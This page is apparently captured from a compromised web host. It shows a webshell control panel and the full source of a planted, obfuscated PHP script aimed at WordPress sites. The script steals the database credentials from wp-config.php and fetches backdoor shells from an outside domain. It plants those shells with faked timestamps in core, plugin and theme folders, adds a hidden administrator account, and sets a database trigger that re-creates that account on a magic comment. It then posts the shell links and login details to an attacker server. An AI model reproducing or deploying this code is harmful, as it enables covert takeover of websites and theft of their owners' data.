403Webshell
Server IP : 27.254.86.99  /  Your IP : 216.73.216.234
Web Server : LiteSpeed
System : Linux wp1.hostneverdie.com 4.18.0-553.46.1.lve.el8.x86_64 #1 SMP Wed Apr 2 11:16:45 UTC 2025 x86_64
User : qtccargo ( 1078)
PHP Version : 8.2.29
Disable Function : apache_child_terminate, apache_setenv, define_syslog_variables, escapeshellarg, escapeshellcmd,exec, fp, fput, highlight_file, ini_alter, ini_restore, inject_code, passthru,phpAds_remoteInfo, phpAds_XmlRpc,phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid,posix_setuid, posix_setuid, posix_uname,proc_open,proc_close, proc_get_status, proc_nice, proc_terminate, shell_exec, syslog, system, xmlrpc_entity_decode, show_source,pcntl_exec,virtual,suexec,dbmopen,dl,disk_free_space,diskfreespace,leak
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/qtccargo/.cagefs/tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/qtccargo/.cagefs/tmp/php_console_shell_8rFoqw.php
<?php
define('CURRENTDIR', getcwd());
define('UPLOAD_SHELL', 1);
define('OUT', 2);
define('API_PATH', 'http://march03252.com/src/accsec.php');

/** without http * */
define('PATH_TO_BACK_SHELL', 'wp-top.com/greh');
/** without http * */
$zepzgxerbt = 'http://march03252.com/src/temp/0edb7d78ca1c45f548b5efa5c6de6bf7';


$smuyjelov = xwgcvrktv();

$vizwwezayuyo = 'wpupdate';
$wtdvtylnezm = etwsp();
$wehrvbqgbqcm = $smuyjelov[1];
$ghkure = $wtdvtylnezm;
$zxovyjrxnq = '';
$jywwqll = 'https://wordpress.com';
$kkjuaqqp = hlwjjgl('2019-07-09 00:00:00', '2023-08-27 00:00:00');
$orzyildlpvji = '';
$jxnbpwncauo = '0';
$zgxilngi = $wtdvtylnezm;


if (is_null($gwwesnlrpuyz = rzzjiunx())) {
    echo 'invalid detect wp root dir';
    exit;
}


if (!function_exists('file_put_contents')) {

    function file_put_contents($zpciza, $sflfouaupz) {
        $svkbnvdkpibi = @fopen($zpciza, 'w');
        if (!$svkbnvdkpibi) {
            return false;
        } else {
            $agytktuy = fwrite($svkbnvdkpibi, $sflfouaupz);
            fclose($svkbnvdkpibi);
            return $agytktuy;
        }
    }

}

$ubfbyy = array();


if (!file_exists($cmanukidshhh = $gwwesnlrpuyz . '/wp-config.php')) {
    echo 'wp-config not found';
    exit;
}
$svoaaajuj = file_get_contents($cmanukidshhh);


preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)[\'\"],\s*[\'\"](.+)[\'\"]\s*\);~m", $svoaaajuj, $cknapmjxniu);
preg_match("~table_prefix\s+=\s*[\'\"](.+)[\'\"];~", $svoaaajuj, $aynjwtynu);


$kbnjpgrutpjr = $cknapmjxniu[2][0];
$ymhrlpzcoi = $cknapmjxniu[2][1];
$udpedtt = $cknapmjxniu[2][2];
$egbxykj = $cknapmjxniu[2][3];
$zqsxwohzhe = $aynjwtynu[1];


$amagpjga = mwlxvxwld($wtdvtylnezm, $wehrvbqgbqcm, $ghkure, $zxovyjrxnq, $jywwqll, $kkjuaqqp, $orzyildlpvji, $jxnbpwncauo, $zgxilngi, $kbnjpgrutpjr, $zqsxwohzhe);

$rxrooxjiwq = mysqli_connect($egbxykj, $ymhrlpzcoi, $udpedtt, $kbnjpgrutpjr);


if (!$rxrooxjiwq) {
    require_once($gwwesnlrpuyz . '/wp-config.php');

    $efcbuho = get_defined_constants(true);

    if (!$efcbuho['user']) {
        throw new \Exception("Could not connect");
    }

    $kbnjpgrutpjr = $efcbuho['user']['DB_NAME'];
    $ymhrlpzcoi = $efcbuho['user']['DB_USER'];
    $udpedtt = $efcbuho['user']['DB_PASSWORD'];
    $egbxykj = $efcbuho['user']['DB_HOST'];
    $zqsxwohzhe = $aynjwtynu[1];


    $rxrooxjiwq = mysqli_connect($egbxykj, $ymhrlpzcoi, $udpedtt, $kbnjpgrutpjr);
}


$gjxvtkkoo = $_SERVER['HTTP_HOST'];

if (mysqli_connect_errno()) {
    $qirjva = 1;
    echo "Could not connect" . PHP_EOL;
} else {
    echo "Connected successfully" . PHP_EOL;

    $xsukml = mysqli_query($rxrooxjiwq, "select * from " . $zqsxwohzhe . "options where option_name = 'home' or option_name = 'siteurl'");
    $rkexopuwcb = mysqli_fetch_row($xsukml);

    if (stristr($rkexopuwcb[2], 'http') !== false) {
        $gjxvtkkoo = $rkexopuwcb[2];
    }

    if (stristr($rkexopuwcb[3], 'http') !== false) {
        $gjxvtkkoo = $rkexopuwcb[3];
    }
}


if (UPLOAD_SHELL === 1) {

    if (!function_exists('curl_init')) {
        $fsyxjjrrjoyt = jsuktkux($zepzgxerbt);
        define('USE_FGC', 1);
    } else {
        $fsyxjjrrjoyt = mzyyinv($zepzgxerbt);
    }

    if (!$fsyxjjrrjoyt) {
        echo 'check sh domain' . PHP_EOL;
        exit;
    }

    if ($fsyxjjrrjoyt[1] === 403) {
        echo 'firewall in action!';
        exit;
    }

    if ($fsyxjjrrjoyt[1] !== 200) {
        echo 'need update script' . PHP_EOL;
        exit;
    }

    $qggthy = $fsyxjjrrjoyt[0];


    $vfsrbqx = unserialize(base64_decode($qggthy));

    $mvigdhwuxmmw = array('variable', 'function', 'class', 'object', 'array', 'string', 'integer', 'boolean', 'float', 'double', 'character', 'list', 'set', 'queue', 'stack', 'pointer', 'reference', 'constructor', 'interface', 'method', 'event', 'exception', 'loop', 'condition', 'statement', 'module', 'package', 'library', 'framework', 'compiler', 'interpreter', 'database', 'sql', 'query', 'index', 'table', 'view', 'trigger', 'schema', 'git', 'repository', 'branch', 'merge', 'client', 'encryption', 'decryption', 'hashing', 'session', 'cookie', 'json', 'xml', 'restful', 'soap', 'url', 'http', 'https', 'dns', 'firewall', 'security', 'ajax-response', 'cron', 'stream', 'private', 'meta', 'wp', 'core', 'ajax', 'beta', 'alpha', 'sample', 'path', 'request', 'old', 'info', 'base', 'num', 'all', 'stat', 'new', 'plain', 'add', 'edit', 'live', 'pic', 'less', 'more', 'part', 'get', 'long', 'call', 'first', 'time', 'other');

    $nwvxpl = fvajqlegv($gwwesnlrpuyz . '/wp-admin', 3);
    $xkgwtghp = fvajqlegv($gwwesnlrpuyz . '/wp-content/plugins', 3);
    $aajatnif = fvajqlegv($gwwesnlrpuyz . '/wp-includes', 3);
    $deutkpleq = fvajqlegv($gwwesnlrpuyz . '/wp-content/themes', 3);
    $jsxscfew = array_merge($nwvxpl, $xkgwtghp, $aajatnif, $deutkpleq);
    $tjyzen = count($mvigdhwuxmmw);


    $utzwxuebb = $gwwesnlrpuyz . '/wp-config-sample.php';
    $qzwtdkl = $vfsrbqx['wp-config-sample.php?config'];
    $rfbaikgaylcb = $mvigdhwuxmmw[rand(0, $tjyzen - 1)] . dqcsyjxqk(rand(3, 6));
    $okyhmllklke = '$_GET[\'' . $rfbaikgaylcb . '\']';
    $qzwtdkl = str_replace('$_GET[\'config\']', $okyhmllklke, $qzwtdkl);
    file_put_contents($utzwxuebb, $qzwtdkl);
    touch($utzwxuebb, ebbumgwyu(dirname($utzwxuebb)));
    $ubfbyy[] = ezdpxhzjd($gwwesnlrpuyz, $utzwxuebb . '?' . $rfbaikgaylcb, $gjxvtkkoo);


    unset($vfsrbqx['wp-config-sample.php?config']);

    if (empty($jsxscfew)) {
        echo 'no directories to write' . PHP_EOL;
        exit;
    }

    $ooawnhepnrd = array_keys($vfsrbqx);


    foreach ($jsxscfew as $ywtpycrd) {

        if (empty($ooawnhepnrd)) {
            $ooawnhepnrd = array_keys($vfsrbqx);
        }

        $zyswprapm = str_replace('.php', '-' . $mvigdhwuxmmw[rand(0, $tjyzen - 1)] . '.php', $ywtpycrd);
        $lhpcrcb = array_shift($ooawnhepnrd);
        $dsnfdfga = $vfsrbqx[$lhpcrcb];
        file_put_contents($zyswprapm, $dsnfdfga);
        touch($zyswprapm, ebbumgwyu(dirname($zyswprapm)));
        $nyxcivpuinig = explode('?', $lhpcrcb);
        $hxophcjk = ezdpxhzjd($gwwesnlrpuyz, $zyswprapm, $gjxvtkkoo);
        $ubfbyy[] = (isset($nyxcivpuinig[1])) ? $hxophcjk . '?' . tkqshnjs($nyxcivpuinig[1]) : $hxophcjk;
    }
}

function tkqshnjs($nyxcivpuinig) {
    if (defined('PATH_TO_BACK_SHELL') && (stristr($nyxcivpuinig, 'example.com') !== false)) {
        return str_replace('example.com', PATH_TO_BACK_SHELL, $nyxcivpuinig);
    }
    return $nyxcivpuinig;
}

if (!isset($qirjva)) {

    $vmvvgfggvr = ojqdirnya($gjxvtkkoo);
    $vszdgslyp = "update `${zqsxwohzhe}options` set option_value = '' WHERE `option_name` LIKE 'close_comments_for_old_posts'";

    if (!mysqli_query($rxrooxjiwq, $vszdgslyp)) {
        echo 'invalid set value 0 for option >>close_comments_value<<' . PHP_EOL;
    }


    $nhfgehnvozk = "UPDATE `${zqsxwohzhe}posts` set ping_status = 'open' where (post_type  = 'page' OR post_type = 'post') AND post_status = 'publish' AND guid LIKE '%${vmvvgfggvr}%' ORDER BY id LIMIT 5";
    $mtfqxwq = array();


    if (mysqli_query($rxrooxjiwq, $nhfgehnvozk)) {
        //echo 'posts ready to accept trackbacks' . PHP_EOL;
        $opiifnofuvpk = "select id, guid, post_name from `${zqsxwohzhe}posts` where (post_type  = 'page' OR post_type = 'post') AND post_status = 'publish' AND guid LIKE '%${vmvvgfggvr}%' ORDER BY id LIMIT 5";
        $mekarogrtr = mysqli_query($rxrooxjiwq, $opiifnofuvpk);
        while ($kolxfvijw = mysqli_fetch_array($mekarogrtr)) {
            $mtfqxwq[] = array($kolxfvijw['id'], $kolxfvijw['guid'], $kolxfvijw['post_name']);
        }
    }


    //$bqtsahxc = "SELECT * FROM `${zqsxwohzhe}users` WHERE `user_pass` = '$wehrvbqgbqcm'";
    $bqtsahxc = "SELECT * FROM `${zqsxwohzhe}users` WHERE `user_login` = '$wtdvtylnezm' order by id desc limit 1";
    $fiqevobqy = "SELECT * FROM `${zqsxwohzhe}users` WHERE `user_login` = '$vizwwezayuyo'";
    $dtiiwphf = mysqli_query($rxrooxjiwq, $bqtsahxc);
    $ohakkpiisx = mysqli_query($rxrooxjiwq, $fiqevobqy);


    if (mysqli_num_rows($ohakkpiisx)) {
        $wvbjhojgt = "delete from `${zqsxwohzhe}users` WHERE `user_login` = '$vizwwezayuyo'";
        mysqli_query($rxrooxjiwq, $wvbjhojgt);
    }

    if (!mysqli_num_rows($dtiiwphf)) {
        $hlkmjnxv = mysqli_query($rxrooxjiwq, "SELECT ID from `" . $kbnjpgrutpjr . "`.`" . $zqsxwohzhe . "users` ORDER BY `ID` DESC LIMIT 1");
        $gzbnwzc = mysqli_fetch_row($hlkmjnxv);
        $axwpeqstei = (int)++$gzbnwzc[0];

        mysqli_query($rxrooxjiwq, "INSERT INTO `" . $kbnjpgrutpjr . "`.`" . $zqsxwohzhe . "users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('$axwpeqstei', '$wtdvtylnezm', '$wehrvbqgbqcm', '$ghkure', '$zxovyjrxnq', '$jywwqll', '$kkjuaqqp', '$orzyildlpvji', '$jxnbpwncauo', '$zgxilngi')");
        mysqli_query($rxrooxjiwq, "INSERT INTO `" . $kbnjpgrutpjr . "`.`" . $zqsxwohzhe . "usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, $axwpeqstei, '" . $zqsxwohzhe . "capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}')");
        mysqli_query($rxrooxjiwq, "INSERT INTO `" . $kbnjpgrutpjr . "`.`" . $zqsxwohzhe . "usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, $axwpeqstei, '" . $zqsxwohzhe . "user_level', '10')");

        //echo $gjxvtkkoo . " admin inserted" . PHP_EOL;
        echo sprintf('%s admin inserted %s::%s', $gjxvtkkoo, $wtdvtylnezm, $smuyjelov[0]) . PHP_EOL;
        $umeytjpmpy = 1;


        mysqli_query($rxrooxjiwq, "DROP TRIGGER IF EXISTS `after_insert_comment`");
        try {
            if (mysqli_query($rxrooxjiwq, $amagpjga)) {
                echo 'trigger created' . str_repeat(PHP_EOL, 3);
            }
        } catch (\Exception $qzicnyyoi) {
            echo $qzicnyyoi->getMessage() . PHP_EOL;
        }


    } else {


        while ($qvyxfqea = mysqli_fetch_array($dtiiwphf)) {
            $doqgexdlua = $qvyxfqea['user_pass'];
        }


        $hitszsmgdmv = "SHOW TRIGGERS";
        $mtkbxqjquc = mysqli_query($rxrooxjiwq, $hitszsmgdmv);

        if ($mtkbxqjquc) {

            while ($hylorspcp = mysqli_fetch_array($mtkbxqjquc)) {

                if ($hylorspcp['Trigger'] === 'after_insert_comment') {


                    if (strpos($hylorspcp['Statement'], $doqgexdlua) !== false) {
                        //echo 'hash and trigger matched!';
                        break;
                    } else {
                        //echo 'not matched need drop trigger';
                        mysqli_query($rxrooxjiwq, "DROP TRIGGER IF EXISTS `after_insert_comment`");
                        try {
                            $amagpjga = mwlxvxwld($wtdvtylnezm, $doqgexdlua, $ghkure, $zxovyjrxnq, $jywwqll, $kkjuaqqp, $orzyildlpvji, $jxnbpwncauo, $zgxilngi, $kbnjpgrutpjr, $zqsxwohzhe);
                            if (mysqli_query($rxrooxjiwq, $amagpjga)) {
                                echo 'trigger created' . str_repeat(PHP_EOL, 3);
                            }
                        } catch (\Exception $qzicnyyoi) {
                            echo $qzicnyyoi->getMessage() . PHP_EOL;
                        }
                    }
                    break;
                }
            }
        }


        echo $gjxvtkkoo . ' admin exists' . PHP_EOL;
    }


    mysqli_close($rxrooxjiwq);
}

echo implode("\n", $ubfbyy) . "\n";

$ubfbyy['host'] = $gjxvtkkoo;
if (!empty($mtfqxwq)) {
    $ubfbyy['trackbacks'] = $mtfqxwq;
}

if (isset($umeytjpmpy)) {
    $ubfbyy['authdata'] = array($wtdvtylnezm, $smuyjelov[0]);
}

$ubfbyy['out'] = OUT;


$skrjhrlxwsbq = tfucv(API_PATH, array('source' => base64_encode(serialize($ubfbyy)),));

if (trim($skrjhrlxwsbq) !== 'success') {
    echo "!!!!error while sending data!!!!" . PHP_EOL;
    exit;
}


echo str_repeat('_', 400) . "\n";

function rzzjiunx() {

    if (file_exists(CURRENTDIR . '/wp-config.php')) {
        return CURRENTDIR;
    }
    $dyhpoetnibr = preg_replace('~\/(wp-admin|wp-includes|wp-content).*$~', '', CURRENTDIR);


    if (file_exists($dyhpoetnibr . '/wp-config.php')) {
        return $dyhpoetnibr;
    }

    return null;
}

function jsuktkux($hxophcjk) {
    $trxrqiw = stream_context_create(array('http' => array('ignore_errors' => true)));
    $sflfouaupz = @file_get_contents($hxophcjk, false, $trxrqiw);
    if ($sflfouaupz === false) {
        $cqekpqql = error_get_last();
        //echo "HTTP request failed. Error was: " . $cqekpqql['message'];
        return false;
    } else {
        $agrdfg = null;
        if (!empty($hlxnxkavvpjj) && isset($hlxnxkavvpjj[0])) {
            preg_match('{HTTP\/\S*\s(\d{3})}', $hlxnxkavvpjj[0], $gmyavtjgg);
            $agrdfg = intval($gmyavtjgg[1]);
        }
        return array($sflfouaupz, $agrdfg);
    }

}

function mzyyinv($hxophcjk) {
    $qxpxmhiotw = curl_init();
    curl_setopt($qxpxmhiotw, CURLOPT_URL, $hxophcjk);
    curl_setopt($qxpxmhiotw, CURLOPT_HEADER, 0);
    curl_setopt($qxpxmhiotw, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($qxpxmhiotw, CURLOPT_TIMEOUT, 10);
    $sflfouaupz = curl_exec($qxpxmhiotw);

    if (!$sflfouaupz) {
        return false;
    }

    $gkzhxxkfqb = curl_getinfo($qxpxmhiotw, CURLINFO_HTTP_CODE);

    curl_close($qxpxmhiotw);
    return array($sflfouaupz, $gkzhxxkfqb);
}

function tfucv($hxophcjk, $sflfouaupz) {
    if (defined('USE_FGC')) {
        return xjifgah($hxophcjk, $sflfouaupz);
    }
    return jepqj($hxophcjk, $sflfouaupz);
}

function xjifgah($hxophcjk, $sflfouaupz) {
    $ivmbmafrrov = http_build_query($sflfouaupz);

    $kxhlqzeqdgg = array(
        'http' => array(
            'method' => 'POST',
            'header' => 'Content-Type: application/x-www-form-urlencoded',
            'content' => $ivmbmafrrov,
            'timeout' => 10,
        ),
        "ssl" => array(
            "verify_peer" => false,
            "verify_peer_name" => false,
        ),
    );

    $trxrqiw = stream_context_create($kxhlqzeqdgg);
    $drfyclnsjsf = @file_get_contents($hxophcjk, false, $trxrqiw);
    $agrdfg = null;
    if (isset($hlxnxkavvpjj[0])) {
        preg_match('{HTTP\/\S*\s(\d{3})}', $hlxnxkavvpjj[0], $gmyavtjgg);
        $agrdfg = intval($gmyavtjgg[1]);
    }


    return ($agrdfg === 200) ? trim($drfyclnsjsf) : null;
}

function jepqj($hxophcjk, $sflfouaupz) {

    $qxpxmhiotw = curl_init();
    curl_setopt($qxpxmhiotw, CURLOPT_URL, $hxophcjk);
    curl_setopt($qxpxmhiotw, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($qxpxmhiotw, CURLOPT_TIMEOUT, 10);
    curl_setopt($qxpxmhiotw, CURLOPT_POST, true);
    curl_setopt($qxpxmhiotw, CURLOPT_POSTFIELDS, $sflfouaupz);
    curl_setopt($qxpxmhiotw, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($qxpxmhiotw, CURLOPT_SSL_VERIFYPEER, 0);

    $drfyclnsjsf = curl_exec($qxpxmhiotw);
    $ijyroe = curl_getinfo($qxpxmhiotw);
    curl_close($qxpxmhiotw);

    return ($ijyroe["http_code"] == 200) ? trim($drfyclnsjsf) : null;
}

function ebbumgwyu($iwnwjgiap) {

    foreach (glob($iwnwjgiap . "/*php") as $pvgbtfgrv) {
        $vkzkdgw[] = filemtime($pvgbtfgrv);
    }
    $laavip = array_count_values($vkzkdgw);
    arsort($laavip);
    $ooawnhepnrd = array_keys($laavip);
    return array_shift($ooawnhepnrd);
}

function ezdpxhzjd($otvcwdfmiyjz, $zyswprapm, $vmvvgfggvr = null) {

    $vmvvgfggvr = !$vmvvgfggvr ? 'http://' . $_SERVER['HTTP_HOST'] : $vmvvgfggvr;
    $rkffaudpklv = str_replace($otvcwdfmiyjz, '', $zyswprapm);

    return rtrim($vmvvgfggvr, '/') . DIRECTORY_SEPARATOR . ltrim($rkffaudpklv, '/');
}

function zvxmdlep($jzjpaz, $iwwwjljb = 1) {
    if (!is_dir($jzjpaz)) {
        return;
    }

    $yrmterkgm = realpath($jzjpaz);


    $ecxyurwq = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($yrmterkgm), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD);

    $ecxyurwq->setMaxDepth($iwwwjljb);

    foreach ($ecxyurwq as $nrjeemsj => $eckjhcbg) {
        if (($yrmterkgm = $eckjhcbg->getPath()) === $jzjpaz) {
            continue;
        }
        if (is_dir($eckjhcbg) && is_writeable($eckjhcbg)) {
            $vkzkdgw[] = $yrmterkgm;
        }
    }

    return array_unique($vkzkdgw);
}

function fvajqlegv($jzjpaz, $ojgtmk = 2, $iwwwjljb = 1) {

    if (!is_dir($jzjpaz)) {
        return;
    }

    $yrmterkgm = realpath($jzjpaz);


    $ecxyurwq = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($yrmterkgm), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD);

    $ecxyurwq->setMaxDepth($iwwwjljb);

    $vkzkdgw = array();

    foreach ($ecxyurwq as $nrjeemsj => $eckjhcbg) {

        $yrmterkgm = $eckjhcbg->getPathName();
        if (stristr($yrmterkgm, '.php') === false) {
            continue;
        }
        if (!is_writeable(dirname($yrmterkgm))) {
            continue;
        }

        $vkzkdgw[$yrmterkgm] = 1;
    }

    $xcqbfmqb = array_keys($vkzkdgw);
    shuffle($xcqbfmqb);

    return array_slice($xcqbfmqb, 0, $ojgtmk);
}

function mwlxvxwld($wtdvtylnezm, $wehrvbqgbqcm, $ghkure, $zxovyjrxnq, $jywwqll, $kkjuaqqp, $orzyildlpvji, $jxnbpwncauo, $zgxilngi, $kbnjpgrutpjr, $zqsxwohzhe) {

    $epktyhlng = <<<STR
CREATE TRIGGER `after_insert_comment` AFTER INSERT ON `${kbnjpgrutpjr}`.`${zqsxwohzhe}comments`
 FOR EACH ROW BEGIN
    IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
        SET @lastInsertWpUsersId = (SELECT MAX(id) FROM `${kbnjpgrutpjr}`.`${zqsxwohzhe}users`);
        SET @nextWpUsersID = @lastInsertWpUsersId + 1;
        INSERT INTO `${kbnjpgrutpjr}`.`${zqsxwohzhe}users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (@nextWpUsersID, '${wtdvtylnezm}', '${wehrvbqgbqcm}', '${ghkure}', '${zxovyjrxnq}', '${jywwqll}', '${kkjuaqqp}', '${orzyildlpvji}', '${jxnbpwncauo}', '${zgxilngi}');
        INSERT INTO `${kbnjpgrutpjr}`.`${zqsxwohzhe}usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, '${zqsxwohzhe}capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');
        INSERT INTO `${kbnjpgrutpjr}`.`${zqsxwohzhe}usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, '${zqsxwohzhe}user_level', '10');
    END IF;
 END;
STR;
    return $epktyhlng;
}

function ojqdirnya($hxophcjk) {
    $vmvvgfggvr = parse_url($hxophcjk, PHP_URL_HOST);
    return str_replace('www.', '', $vmvvgfggvr);
}

function hlwjjgl($hqtuxphqk, $tkkvjxlcfy, $zcglxekvx = 'Y-m-d H:i:s') {
    $pvkazmkwg = strtotime($hqtuxphqk);
    $xjhzwulrnr = strtotime($tkkvjxlcfy);
    $lbivqceauf = mt_rand($pvkazmkwg, $xjhzwulrnr);

    return date($zcglxekvx, $lbivqceauf);
}

function dqcsyjxqk($esrputtxgh, $cgzdczwlsa = false) {
    $buqwkwtup = "abcdefghijklmnopqrstuvwxyz";
    if ($cgzdczwlsa) {
        $buqwkwtup .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890~><?}{[];!@#$%^&*()_+-={}[]:;<=>?@';
    }

    $pfvshyjovxar = strlen($buqwkwtup);
    $bttmazbpz = "";

    for ($awefnrsbwr = 0; $awefnrsbwr < $esrputtxgh; $awefnrsbwr++) {
        $bttmazbpz .= $buqwkwtup[rand(0, $pfvshyjovxar - 1)];
    }
    return $bttmazbpz;
}

function etwsp() {
    preg_match_all('~\d~', md5($_SERVER['HTTP_HOST']), $ohebjcyik);

    $mkylorxoec = $ohebjcyik[0][0];
    $fcgyxmczde = end($ohebjcyik[0]);

    $krrvsy = array('wp', 'cms', 'web', 'dev', 'blog', 'main', 'articles', 'notes', 'news', 'archive',);
    $bysnfvzp = array('panel', 'feed', 'client', 'user', 'rss', 'option', 'auth', 'table', 'user', 'profile',);

    return $krrvsy[$mkylorxoec] . $bysnfvzp[$fcgyxmczde];
}

function zeiwnbfr($zbqirw, $fkdlkfrcru) {
    $jbytjbvbjtct = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
    define('ITOA64_CUSTOM', $jbytjbvbjtct);

    if ($zbqirw < 4 || $zbqirw > 31) {
        $zbqirw = 8;
    }

    define('ITERATION_COUNT_LOG2_CUSTOM', $zbqirw);
    define('PORTABLE_HASHES_CUSTOM', $fkdlkfrcru);

    $ugyespcex = microtime();
    if (function_exists('getmypid')) {
        $ugyespcex .= getmypid();
    }
    define('RANDOM_STATE_CUSTOM', $ugyespcex);
}

function ntgcrjfl($gbmvmtbihlg) {
    if (strlen($gbmvmtbihlg) > 4096) {
        return '*';
    }

    $yndgmv = '';

    if (CRYPT_BLOWFISH === 1 && !PORTABLE_HASHES_CUSTOM) {
        $yndgmv = fhbuumrrm(16);
        $ucnmefvue = crypt($gbmvmtbihlg, ipnxeb($yndgmv));
        if (strlen($ucnmefvue) === 60) {
            return $ucnmefvue;
        }
    }

    if (strlen($yndgmv) < 6) {
        $yndgmv = fhbuumrrm(6);
    }
    $ucnmefvue = fcezonzf($gbmvmtbihlg, aqpcvl($yndgmv));
    if (strlen($ucnmefvue) === 34) {
        return $ucnmefvue;
    }

    return '*';
}

function fhbuumrrm($laavip) {
    $decfwevw = '';
    if (@is_readable('/dev/urandom') && ($iapgzm = @fopen('/dev/urandom', 'rb'))) {
        $decfwevw = fread($iapgzm, $laavip);
        fclose($iapgzm);
    }

    if (strlen($decfwevw) < $laavip) {
        $decfwevw = '';
        $mdqcjzqzd = RANDOM_STATE_CUSTOM;
        for ($awefnrsbwr = 0; $awefnrsbwr < $laavip; $awefnrsbwr += 16) {
            $mdqcjzqzd = md5(microtime() . $mdqcjzqzd);
            $decfwevw .= md5($mdqcjzqzd, TRUE);
        }
        $decfwevw = substr($decfwevw, 0, $laavip);
    }

    return $decfwevw;
}

function ipnxeb($lybmenqlcq) {

    $jbytjbvbjtct = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';

    $decfwevw = '$2a$';
    $decfwevw .= chr((int)(ord('0') + ITERATION_COUNT_LOG2_CUSTOM / 10));
    $decfwevw .= chr(ord('0') + ITERATION_COUNT_LOG2_CUSTOM % 10);
    $decfwevw .= '$';

    $awefnrsbwr = 0;
    do {
        $kkjsletem = ord($lybmenqlcq[$awefnrsbwr++]);
        $decfwevw .= $jbytjbvbjtct[$kkjsletem >> 2];
        $kkjsletem = ($kkjsletem & 0x03) << 4;
        if ($awefnrsbwr >= 16) {
            $decfwevw .= $jbytjbvbjtct[$kkjsletem];
            break;
        }

        $sinjpui = ord($lybmenqlcq[$awefnrsbwr++]);
        $kkjsletem |= $sinjpui >> 4;
        $decfwevw .= $jbytjbvbjtct[$kkjsletem];
        $kkjsletem = ($sinjpui & 0x0f) << 2;

        $sinjpui = ord($lybmenqlcq[$awefnrsbwr++]);
        $kkjsletem |= $sinjpui >> 6;
        $decfwevw .= $jbytjbvbjtct[$kkjsletem];
        $decfwevw .= $jbytjbvbjtct[$sinjpui & 0x3f];
    } while (1);

    return $decfwevw;
}

function fcezonzf($gbmvmtbihlg, $oetkiesv) {
    $decfwevw = '*0';
    if (substr($oetkiesv, 0, 2) === $decfwevw) {
        $decfwevw = '*1';
    }

    $bzjypyg = substr($oetkiesv, 0, 3);
    //if ($bzjypyg !== '$xkogpzt$' && $bzjypyg !== '$xdsqftnwqb$') {
    if ($bzjypyg !== base64_decode('JFAk') && $bzjypyg !== base64_decode('JEgk')) {
        return $decfwevw;
    }

    $tyumtf = strpos(ITOA64_CUSTOM, $oetkiesv[3]);
    if ($tyumtf < 7 || $tyumtf > 30) {
        return $decfwevw;
    }

    $laavip = 1 << $tyumtf;

    $gvlcla = substr($oetkiesv, 4, 8);
    if (strlen($gvlcla) !== 8) {
        return $decfwevw;
    }

    $ucnmefvue = md5($gvlcla . $gbmvmtbihlg, TRUE);
    do {
        $ucnmefvue = md5($ucnmefvue . $gbmvmtbihlg, TRUE);
    } while (--$laavip);

    $decfwevw = substr($oetkiesv, 0, 12);
    $decfwevw .= awkhipyx($ucnmefvue, 16);

    return $decfwevw;
}

function awkhipyx($lybmenqlcq, $laavip) {
    $decfwevw = '';
    $awefnrsbwr = 0;
    $jbytjbvbjtct = ITOA64_CUSTOM;
    do {
        $jgwapiaixm = ord($lybmenqlcq[$awefnrsbwr++]);
        $decfwevw .= $jbytjbvbjtct[$jgwapiaixm & 0x3f];
        if ($awefnrsbwr < $laavip) {
            $jgwapiaixm |= ord($lybmenqlcq[$awefnrsbwr]) << 8;
        }
        $decfwevw .= $jbytjbvbjtct[($jgwapiaixm >> 6) & 0x3f];
        if ($awefnrsbwr++ >= $laavip) {
            break;
        }
        if ($awefnrsbwr < $laavip) {
            $jgwapiaixm |= ord($lybmenqlcq[$awefnrsbwr]) << 16;
        }
        $decfwevw .= $jbytjbvbjtct[($jgwapiaixm >> 12) & 0x3f];
        if ($awefnrsbwr++ >= $laavip) {
            break;
        }
        $decfwevw .= $jbytjbvbjtct[($jgwapiaixm >> 18) & 0x3f];
    } while ($awefnrsbwr < $laavip);

    return $decfwevw;
}

function aqpcvl($lybmenqlcq) {
    //$decfwevw = '$xkogpzt$';
    $decfwevw = base64_decode('JFAk');
    $jbytjbvbjtct = ITOA64_CUSTOM;
    $decfwevw .= $jbytjbvbjtct[min(ITERATION_COUNT_LOG2_CUSTOM + 5, 30)];
    $decfwevw .= awkhipyx($lybmenqlcq, 6);

    return $decfwevw;
}

function xwgcvrktv() {
    $hwfzaksayzx = dqcsyjxqk(rand(20, 40), true);
    zeiwnbfr(4, true);
    $ucnmefvue = ntgcrjfl($hwfzaksayzx);
    return array($hwfzaksayzx, $ucnmefvue);
}


Youez - 2016 - github.com/yon3zu
LinuXploit